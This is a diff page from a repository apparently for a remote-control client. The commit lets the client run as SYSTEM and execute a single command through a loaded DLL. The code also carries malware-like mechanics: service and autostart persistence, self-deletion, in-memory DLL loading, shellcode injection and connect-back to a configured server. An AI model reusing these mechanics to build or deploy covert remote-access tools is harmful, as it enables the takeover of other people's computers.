yuanyuanxiang/SimpleRemoter
0
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 6 Wiki Activity

Feature: Client running as SYSTEM and support remote control

Browse Source
This commit is contained in:
yuanyuanxiang
2026-06-29 20:29:16 +02:00
parent 92f6683fe1
commit 3a6cc7b936
14 changed files with 272 additions and 70 deletions
Download Patch File Download Diff File Expand all files Collapse all files

119
client/test.cpp
View File

@@ -8,6 +8,7 @@
#include <common/md5.h>
#include <common/iniFile.h>
#include "auto_start.h"
#include "Common.h"
// A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp
// #include "SCLoader.cpp"
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
// 停止程序运行
StopRun stop = NULL;
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
}
// 运行程序.
BOOL Run(const char* argv1, int argv2);
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
// Package header.
typedef struct PkgHeader {
@@ -305,60 +308,64 @@ int InjectShellcode(BYTE* buf, int len) {
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
!isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
if (!runCmd) {
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
MoveFileA(curFile, dstFile);
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
return -1;
}
MoveFileA(curFile, dstFile);
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if(!ok) {
Mprintf("设置开机自启动失败，请用管理员权限运行.\n");
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if (!ok) {
Mprintf("设置开机自启动失败，请用管理员权限运行.\n");
}
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
status = 0;
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
if (ret == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
}
// 传入命令行参数: IP 和 端口.
BOOL Run(const char* argv1, int argv2)
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
{
BOOL result = FALSE;
char path[_MAX_PATH], * p = path;
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
case Startup_MEMDLL: case Startup_TestRunSystem :
runner = new MemoryDllRunner;
break;
case Startup_InjSC:
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
if (NULL == run) {
if (hDll) runner->FreeLibrary(hDll);
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
port = cfg.Get1Int("settings", "port", ';', 6543);
}
Mprintf("[server] %s:%d\n", ip, port);
if (nCmd) {
BYTE buf[] = {nCmd};
if (cmd) nCmd = cmd(buf, 1);
result = 1;
Mprintf("Finish run command. Result: %d\n", nCmd);
break;
}
do {
run(ip, port);
while (bStop && !bStop() && 0 == status)